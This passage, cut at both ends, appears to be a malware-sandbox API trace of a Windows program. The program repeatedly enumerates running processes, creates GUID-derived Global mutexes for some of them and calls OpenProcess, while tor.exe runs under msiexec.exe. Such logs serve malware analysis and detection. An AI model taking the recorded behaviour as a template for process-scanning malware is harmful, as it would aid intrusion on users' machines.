th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0121.737] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0121.738] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0121.739] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0121.740] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0121.741] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0121.742] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0121.742] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0121.743] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0121.744] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0121.745] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0121.746] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0121.746] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0121.747] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0121.748] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0121.749] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0121.750] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0121.891] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.892] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0121.893] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.893] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.894] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.895] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.896] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.897] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.897] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.898] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.899] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0121.899] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0121.899] GetLastError () returned 0xb7 [0121.899] CloseHandle (hObject=0x568) returned 1 [0121.899] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0121.900] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0121.901] CloseHandle (hObject=0x6cc) returned 1 [0121.901] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0122.064] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.065] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.066] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.067] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.068] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.068] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.069] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.070] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.071] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.072] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.072] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.073] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.074] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.075] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.075] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.076] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.077] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.078] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.079] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.079] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.080] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.081] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0122.081] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0122.081] GetLastError () returned 0xb7 [0122.081] CloseHandle (hObject=0x6cc) returned 1 [0122.081] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.082] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0122.082] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0122.082] GetLastError () returned 0xb7 [0122.082] CloseHandle (hObject=0x6cc) returned 1 [0122.082] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.083] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.083] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0122.084] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0122.084] GetLastError () returned 0x0 [0122.084] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0122.084] CloseHandle (hObject=0x6cc) returned 1 [0122.084] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.084] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0122.084] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0122.084] GetLastError () returned 0x0 [0122.085] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0122.085] CloseHandle (hObject=0x6cc) returned 1 [0122.085] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.085] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0122.085] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0122.085] GetLastError () returned 0xb7 [0122.085] CloseHandle (hObject=0x6cc) returned 1 [0122.085] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.086] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0122.086] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0122.086] GetLastError () returned 0x0 [0122.086] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0122.086] CloseHandle (hObject=0x6cc) returned 1 [0122.086] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0122.087] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0122.088] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0122.089] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0122.089] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0122.090] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0122.091] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0122.092] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0122.093] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0122.094] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0122.095] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0122.095] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0122.096] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: 